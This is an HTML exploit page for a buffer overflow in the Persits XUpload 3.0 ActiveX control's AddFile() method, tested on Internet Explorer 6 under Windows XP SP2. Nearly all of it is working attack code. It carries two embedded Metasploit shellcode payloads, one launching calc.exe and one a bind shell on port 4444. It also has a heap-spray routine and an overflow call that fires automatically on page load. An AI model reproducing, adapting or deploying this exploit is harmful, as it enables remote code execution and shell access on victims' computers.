<!-- Persits XUpload 3.0 AddFile() Buffer Overflow Exploit Vulnerability discovered by David Kierznowski written by e.b. Tested on Windows XP SP2(fully patched) English, IE6, xupload.ocx 3.0.0.4 Thanks to David, h.d.m. and the Metasploit crew --> <html> <head> <title>Persits XUpload 3.0 AddFile() Buffer Overflow Exploit</title> <script language="JavaScript" defer> function Check() { // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" + "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" + "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" + "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" + "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" + "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" + "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" + "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" + "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" + "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" + "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" + "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" + "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" + "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" + "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" + "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" + "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" + "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" + "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" + "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" + "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" + "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" + "%u314e%u7475%u7038%u7765%u4370"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" + "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" + "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" + "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" + "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" + "%u4e70%u526b%u744c%u4164%u6e34%u376b%u5535%u4c6c" + "%u714b%u646c%u6145%u7468%u6a41%u6e4f%u626b%u326f" + "%u6c38%u334b%u376f%u5550%u7851%u316b%u6c59%u504b" + "%u6e34%u466b%u6861%u456e%u6f61%u6c30%u6c59%u6b6c" + "%u3934%u4150%u3764%u6877%u6941%u565a%u636d%u4b31" + "%u7872%u6c6b%u7534%u566b%u3134%u5734%u5458%u6b35" + "%u6e55%u336b%u556f%u7474%u7841%u416b%u4c76%u464b" + "%u626c%u6e6b%u416b%u354f%u564c%u6861%u666b%u3663" + "%u6c4c%u6b4b%u7239%u444c%u5764%u616c%u4f71%u4733" + "%u6b41%u336b%u4c54%u634b%u7073%u6c30%u534b%u6470" + "%u6c4c%u724b%u4550%u4e4c%u6c4d%u374b%u7530%u7358" + "%u426e%u4c48%u524e%u466e%u586e%u566c%u3930%u586f" + "%u7156%u4676%u7233%u6346%u3058%u7033%u3332%u5458" + "%u5237%u4553%u5162%u504f%u4b54%u5a4f%u3370%u6a58" + "%u686b%u596d%u456c%u466b%u4930%u596f%u7346%u4e6f" + "%u5869%u7365%u4d56%u5851%u366d%u6468%u7242%u7275" + "%u674a%u5972%u6e6f%u7230%u4a48%u5679%u6b69%u6e45" + "%u764d%u6b37%u584f%u3356%u3063%u5053%u7653%u7033" + "%u3353%u5373%u3763%u5633%u6b33%u5a4f%u3270%u5046" + "%u3568%u7141%u304c%u3366%u6c63%u6d49%u6a31%u7035" + "%u6e68%u3544%u524a%u4b50%u7177%u4b47%u4e4f%u3036" + "%u526a%u3130%u7041%u5955%u6e6f%u3030%u6c68%u4c64" + "%u546d%u796e%u3179%u5947%u596f%u4646%u6633%u6b35" + "%u584f%u6350%u4b58%u7355%u4c79%u4146%u6359%u4b67" + "%u784f%u7656%u5330%u4164%u3344%u7965%u4e6f%u4e30" + "%u7173%u5878%u6167%u6969%u7156%u6269%u3977%u6a6f" + "%u5176%u4945%u4e6f%u5130%u5376%u715a%u7274%u6246" + "%u3048%u3063%u6c6d%u5a49%u6345%u625a%u7670%u3139" + "%u5839%u4e4c%u4d69%u5337%u335a%u4e74%u4b69%u5652" + "%u4b51%u6c70%u6f33%u495a%u336e%u4472%u6b6d%u374e" + "%u7632%u6e4c%u6c73%u704d%u767a%u6c58%u4e6b%u4c4b" + "%u736b%u5358%u7942%u6d6e%u7463%u6b56%u304f%u7075" + "%u4b44%u794f%u5346%u706b%u7057%u7152%u5041%u4251" + "%u4171%u337a%u4231%u4171%u5141%u6645%u6931%u5a6f" + "%u5070%u6e68%u5a4d%u5679%u6865%u334e%u3963%u586f" + "%u6356%u4b5a%u4b4f%u704f%u4b37%u4a4f%u4c70%u614b" + "%u6b47%u4d4c%u6b53%u3174%u4974%u596f%u7046%u5952" + "%u4e6f%u6330%u6c58%u6f30%u577a%u6174%u324f%u4b73" + "%u684f%u3956%u386f%u4350"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode1.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); while (block.length + slackspace < 0x40000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 500; i++){ memory[i] = block + shellcode1 } var buf = "" for (i = 0; i < 400; i++) { buf = buf + unescape("%u0A0A") } obj.AddFile(buf); } </script> </head> <body onload="JavaScript: return Check();"> <object id="obj" classid="clsid:E87F6C8E-16C0-11D3-BEF7-009027438003"> Unable to create object </object> </body> </html>
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